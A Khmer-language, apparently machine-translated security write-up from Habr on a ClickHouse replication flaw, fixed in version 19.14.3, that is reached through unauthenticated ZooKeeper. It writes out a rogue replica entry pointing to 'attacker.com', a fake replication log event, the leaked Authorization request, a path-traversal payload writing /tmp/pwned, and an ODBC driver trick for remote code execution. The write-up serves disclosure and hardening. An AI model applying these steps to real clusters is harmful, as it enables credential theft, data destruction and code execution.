ហេតុអ្វីបានជាអ្នកចាំបាច់ត្រូវបិទទ្រុងសួនសត្វ?

អត្ថបទនេះនឹងប្រាប់ពីរឿងរ៉ាវនៃភាពងាយរងគ្រោះជាក់លាក់មួយនៅក្នុងពិធីការចម្លង ClickHouse ហើយនឹងបង្ហាញពីរបៀបដែលផ្ទៃវាយប្រហារអាចត្រូវបានពង្រីក។

ClickHouse គឺជាមូលដ្ឋានទិន្នន័យសម្រាប់រក្សាទុកទិន្នន័យធំ ដែលភាគច្រើនប្រើការចម្លងច្រើនជាងមួយ។ ការដាក់ចង្កោម និងការចម្លងនៅក្នុង ClickHouse ត្រូវបានបង្កើតឡើងនៅលើកំពូល កម្មវិធី Apache ZooKeeper (ZK) និងទាមទារសិទ្ធិសរសេរ។

ការដំឡើង ZK លំនាំដើមមិនតម្រូវឱ្យមានការផ្ទៀងផ្ទាត់ទេ ដូច្នេះម៉ាស៊ីនមេ ZK រាប់ពាន់ដែលប្រើដើម្បីកំណត់រចនាសម្ព័ន្ធ Kafka, Hadoop, ClickHouse មានជាសាធារណៈ។

ដើម្បីកាត់បន្ថយផ្ទៃវាយប្រហាររបស់អ្នក អ្នកគួរតែកំណត់ការផ្ទៀងផ្ទាត់ និងការអនុញ្ញាតជានិច្ច នៅពេលដំឡើង ZooKeeper

ពិតណាស់មាន Java deserializations ដែលមានមូលដ្ឋានលើ 0day ប៉ុន្តែស្រមៃថាអ្នកវាយប្រហារអាចអាន និងសរសេរទៅកាន់ ZooKeeper ដែលប្រើសម្រាប់ការចម្លង ClickHouse ។

នៅពេលកំណត់រចនាសម្ព័ន្ធនៅក្នុងរបៀបចង្កោម ClickHouse គាំទ្រសំណួរចែកចាយ DDLឆ្លងកាត់ ZK - សម្រាប់ពួកវាថ្នាំងត្រូវបានបង្កើតនៅក្នុងសន្លឹក /clickhouse/task_queue/ddl.

ឧទាហរណ៍អ្នកបង្កើតថ្នាំង /clickhouse/task_queue/ddl/query-0001 ជាមួយនឹងខ្លឹមសារ៖

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ហើយបន្ទាប់ពីនោះ តារាងសាកល្បងនឹងត្រូវបានលុបនៅលើ cluster servers host1 និង host2។ DDL ក៏គាំទ្រដំណើរការសំណួរ CREATE/ALTER/DROP ផងដែរ។

សំឡេងគួរឱ្យខ្លាច? ប៉ុន្តែតើអ្នកវាយប្រហារអាចទទួលបានអាសយដ្ឋានម៉ាស៊ីនមេនៅឯណា?

ការចម្លង ClickHouse ដំណើរការនៅកម្រិតនៃតារាងនីមួយៗ ដូច្នេះនៅពេលដែលតារាងមួយត្រូវបានបង្កើតនៅក្នុង ZK នោះម៉ាស៊ីនមេត្រូវបានបញ្ជាក់ដែលនឹងទទួលខុសត្រូវក្នុងការផ្លាស់ប្តូរទិន្នន័យមេតាជាមួយការចម្លង។ ឧទាហរណ៍ នៅពេលប្រតិបត្តិសំណើ (ZK ត្រូវតែកំណត់រចនាសម្ព័ន្ធ, chXX - ឈ្មោះចម្លង, ហ្វូបា - ឈ្មោះតារាង៖

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ថ្នាំងនឹងត្រូវបានបង្កើត ជួរឈរ и ទិន្នន័យមេតា.

មាតិកា /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

តើអាចបញ្ចូលទិន្នន័យពីចង្កោមនេះបានទេ? បាទ/ចាស ប្រសិនបើច្រកចម្លង (TCP/9009) នៅលើម៉ាស៊ីនមេ chXX-address ជញ្ជាំងភ្លើងនឹងមិនត្រូវបានបិទទេ ហើយការផ្ទៀងផ្ទាត់ភាពត្រឹមត្រូវសម្រាប់ការចម្លងនឹងមិនត្រូវបានកំណត់រចនាសម្ព័ន្ធទេ។ តើធ្វើដូចម្តេចដើម្បីរំលងការផ្ទៀងផ្ទាត់?

អ្នកវាយប្រហារអាចបង្កើតការចម្លងថ្មីនៅក្នុង ZK ដោយគ្រាន់តែចម្លងមាតិកាពី /clickhouse/tables/01-01/foobar/replicas/chXX និងផ្លាស់ប្តូរអត្ថន័យ host.

មាតិកា /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

បន្ទាប់មក អ្នកត្រូវប្រាប់អ្នកចម្លងផ្សេងទៀតថា មានប្លុកទិន្នន័យថ្មីនៅលើ server របស់អ្នកវាយប្រហារ ដែលពួកគេត្រូវការយក - node ត្រូវបានបង្កើតនៅក្នុង ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ការកើនឡើងជាឯកតាដែលរាប់ដែលគួរតែធំជាងលេខចុងក្រោយនៅក្នុងកំណត់ហេតុព្រឹត្តិការណ៍)៖

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ដែលជាកន្លែងដែល ប្រភព_ចម្លង - ឈ្មោះចម្លងរបស់អ្នកវាយប្រហារដែលបានបង្កើតក្នុងជំហានមុន, block_id - ឧបករណ៍កំណត់អត្តសញ្ញាណប្លុកទិន្នន័យ, ទទួលបាន - ពាក្យបញ្ជា "ទទួលបានប្លុក" (និង នេះគឺជាពាក្យបញ្ជាសម្រាប់ប្រតិបត្តិការផ្សេងទៀត។).

បន្ទាប់មក ការចម្លងនីមួយៗអានព្រឹត្តិការណ៍ថ្មីនៅក្នុងកំណត់ហេតុ ហើយទៅកាន់ម៉ាស៊ីនមេដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារ ដើម្បីទទួលបានប្លុកទិន្នន័យ (ពិធីការចម្លងគឺជាប្រព័ន្ធគោលពីរ ដែលដំណើរការនៅលើកំពូល HTTP)។ ម៉ាស៊ីនមេ attacker.com នឹងទទួលបានសំណើរ៖

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ដែល XXX គឺជាទិន្នន័យផ្ទៀងផ្ទាត់សម្រាប់ការចម្លង។ ក្នុងករណីខ្លះ នេះអាចជាគណនីដែលមានសិទ្ធិចូលប្រើមូលដ្ឋានទិន្នន័យតាមរយៈពិធីការ ClickHouse មេ និងពិធីការ HTTP ។ ដូចដែលអ្នកបានឃើញ ផ្ទៃវាយប្រហារប្រែជាធំខ្លាំង ដោយសារ ZooKeeper ដែលប្រើសម្រាប់ការចម្លង ត្រូវបានទុកចោលដោយមិនមានការកំណត់រចនាសម្ព័ន្ធផ្ទៀងផ្ទាត់។

សូមក្រឡេកមើលមុខងារនៃការទទួលបានប្លុកទិន្នន័យពីការចម្លង វាត្រូវបានសរសេរដោយមានទំនុកចិត្តពេញលេញថាការចម្លងទាំងអស់ស្ថិតនៅក្រោមការគ្រប់គ្រងត្រឹមត្រូវ ហើយមានការជឿទុកចិត្តរវាងពួកគេ។

កូដដំណើរការចម្លង

មុខងារអានបញ្ជីឯកសារ បន្ទាប់មកឈ្មោះ ទំហំ មាតិកា ហើយបន្ទាប់មកសរសេរពួកវាទៅប្រព័ន្ធឯកសារ។ វាមានតម្លៃក្នុងការពិពណ៌នាដោយឡែកពីគ្នាអំពីរបៀបដែលទិន្នន័យត្រូវបានរក្សាទុកនៅក្នុងប្រព័ន្ធឯកសារ។

មានថតរងជាច្រើននៅក្នុង /var/lib/clickhouse (បញ្ជីផ្ទុកលំនាំដើមពីឯកសារកំណត់រចនាសម្ព័ន្ធ)៖

ទង់ - ថតសម្រាប់ថត ទង់ជាតិប្រើក្នុងការងើបឡើងវិញបន្ទាប់ពីបាត់បង់ទិន្នន័យ។
tmp ។ - ថតឯកសារសម្រាប់រក្សាទុកឯកសារបណ្តោះអាសន្ន;
user_files - ប្រតិបត្តិការជាមួយឯកសារក្នុងសំណើត្រូវបានកំណត់ចំពោះថតឯកសារនេះ (INTO OUTFILE និងផ្សេងៗទៀត);
ទិន្នន័យមេតា - ឯកសារ sql ជាមួយនឹងការពិពណ៌នាតារាង;
preprocessed_configs - ដំណើរការឯកសារកំណត់រចនាសម្ព័ន្ធដេរីវេពី /etc/clickhouse-server;
ទិន្នន័យ - ថតពិតប្រាកដជាមួយទិន្នន័យខ្លួនវា ក្នុងករណីនេះសម្រាប់មូលដ្ឋានទិន្នន័យនីមួយៗ ថតរងដាច់ដោយឡែកមួយត្រូវបានបង្កើតឡើងយ៉ាងសាមញ្ញនៅទីនេះ (ឧទាហរណ៍ /var/lib/clickhouse/data/default).

សម្រាប់តារាងនីមួយៗ ថតរងមួយត្រូវបានបង្កើតនៅក្នុងថតទិន្នន័យ។ ជួរនីមួយៗគឺជាឯកសារដាច់ដោយឡែកអាស្រ័យលើ ទម្រង់ម៉ាស៊ីន. ឧទាហរណ៍សម្រាប់តារាង ហ្វូបាបង្កើតឡើងដោយអ្នកវាយប្រហារ ឯកសារខាងក្រោមនឹងត្រូវបានបង្កើត៖

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ឯកសារចម្លងរំពឹងថានឹងទទួលបានឯកសារដែលមានឈ្មោះដូចគ្នានៅពេលដំណើរការប្លុកទិន្នន័យ ហើយមិនធ្វើឱ្យពួកវាមានសុពលភាពតាមមធ្យោបាយណាមួយឡើយ។

អ្នកអានដែលយកចិត្តទុកដាក់ប្រហែលជាបានលឺរួចហើយអំពីការភ្ជាប់មិនមានសុវត្ថិភាពនៃ file_name នៅក្នុងមុខងារមួយ។ WriteBufferFromFile. បាទ/ចាស វាអនុញ្ញាតឱ្យអ្នកវាយប្រហារសរសេរមាតិកាបំពានទៅឯកសារណាមួយនៅលើ FS ជាមួយនឹងសិទ្ធិអ្នកប្រើប្រាស់ clickhouse. ដើម្បីធ្វើដូច្នេះ អ្នកចម្លងដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារត្រូវតែត្រឡប់ការឆ្លើយតបខាងក្រោមទៅនឹងសំណើ (ការបំបែកបន្ទាត់ត្រូវបានបន្ថែមដើម្បីភាពងាយស្រួលនៃការយល់ដឹង)៖

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

និងបន្ទាប់ពីការភ្ជាប់គ្នា។ ../../../../../../../../../tmp/pwned ឯកសារនឹងត្រូវបានសរសេរ /tmp/pwned ជាមួយនឹងមាតិកា hellofromzookeeper.

មានជម្រើសជាច្រើនសម្រាប់បង្វែរសមត្ថភាពសរសេរឯកសារទៅជាការប្រតិបត្តិកូដពីចម្ងាយ (RCE)។

វចនានុក្រមខាងក្រៅនៅក្នុង RCE

នៅក្នុងកំណែចាស់ ថតដែលមានការកំណត់ ClickHouse ត្រូវបានរក្សាទុកដោយសិទ្ធិអ្នកប្រើប្រាស់ ផ្ទះចុច លំនាំដើម។ ឯកសារការកំណត់គឺជាឯកសារ XML ដែលសេវាកម្មអាននៅពេលចាប់ផ្តើម ហើយបន្ទាប់មកទុកក្នុងឃ្លាំងសម្ងាត់ /var/lib/clickhouse/preprocessed_configs. នៅពេលដែលការផ្លាស់ប្តូរកើតឡើង ពួកគេត្រូវបានអានឡើងវិញ។ ប្រសិនបើអ្នកមានសិទ្ធិចូលប្រើ /etc/clickhouse-server អ្នកវាយប្រហារអាចបង្កើតខ្លួនឯងបាន។ វចនានុក្រមខាងក្រៅ ប្រភេទដែលអាចប្រតិបត្តិបាន ហើយបន្ទាប់មកប្រតិបត្តិកូដបំពាន។ កំណែបច្ចុប្បន្នរបស់ ClickHouse មិនផ្តល់សិទ្ធិតាមលំនាំដើមទេ ប៉ុន្តែប្រសិនបើម៉ាស៊ីនមេត្រូវបានធ្វើបច្ចុប្បន្នភាពបន្តិចម្តងៗ សិទ្ធិបែបនេះអាចនៅតែមាន។ ប្រសិនបើអ្នកកំពុងគាំទ្រ ClickHouse cluster សូមពិនិត្យមើលសិទ្ធិក្នុងបញ្ជីការកំណត់ វាត្រូវតែជារបស់អ្នកប្រើប្រាស់ root.

ODBC ទៅ RCE

នៅពេលដំឡើងកញ្ចប់ អ្នកប្រើប្រាស់ត្រូវបានបង្កើត clickhouseប៉ុន្តែថតផ្ទះរបស់វាមិនត្រូវបានបង្កើតទេ។ /nonexistent. ទោះយ៉ាងណាក៏ដោយ នៅពេលប្រើវចនានុក្រមខាងក្រៅ ឬសម្រាប់ហេតុផលផ្សេងទៀត អ្នកគ្រប់គ្រងបង្កើតថត /nonexistent និងផ្តល់ឱ្យអ្នកប្រើប្រាស់ clickhouse ការចូលប្រើដើម្បីសរសេរទៅវា (SSZB! ប្រហែល អ្នកបកប្រែ).

ClickHouse គាំទ្រ ODBC និងអាចភ្ជាប់ទៅមូលដ្ឋានទិន្នន័យផ្សេងទៀត។ នៅក្នុង ODBC អ្នកអាចបញ្ជាក់ផ្លូវទៅកាន់បណ្ណាល័យកម្មវិធីបញ្ជាមូលដ្ឋានទិន្នន័យ (.so)។ កំណែចាស់របស់ ClickHouse អនុញ្ញាតឱ្យអ្នកធ្វើវាដោយផ្ទាល់នៅក្នុងកម្មវិធីដោះស្រាយសំណើ ប៉ុន្តែឥឡូវនេះ ការត្រួតពិនិត្យយ៉ាងតឹងរ៉ឹងនៃខ្សែតភ្ជាប់ត្រូវបានបន្ថែមទៅ odbc-bridgeដូច្នេះវាមិនអាចបញ្ជាក់ផ្លូវអ្នកបើកបរពីសំណើបានទេ។ ប៉ុន្តែតើអ្នកវាយប្រហារអាចសរសេរទៅកាន់ថតផ្ទះដោយប្រើភាពងាយរងគ្រោះដែលបានពិពណ៌នាខាងលើដែរឬទេ?

តោះបង្កើតឯកសារ ~/.odbc.ini ជាមួយនឹងខ្លឹមសារដូចនេះ៖

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

បន្ទាប់មកនៅពេលចាប់ផ្តើម SELECT * FROM odbc('DSN=lalala', 'test', 'test'); បណ្ណាល័យនឹងត្រូវបានផ្ទុក test.so ហើយបានទទួល RCE (សូមអរគុណ buglloc សម្រាប់ព័ត៌មានជំនួយ) ។

ភាពងាយរងគ្រោះទាំងនេះ និងភាពងាយរងគ្រោះផ្សេងទៀតត្រូវបានជួសជុលនៅក្នុង ClickHouse កំណែ 19.14.3 ។ ថែរក្សា ClickHouse និង ZooKeepers របស់អ្នក!

ប្រភព: www.habr.com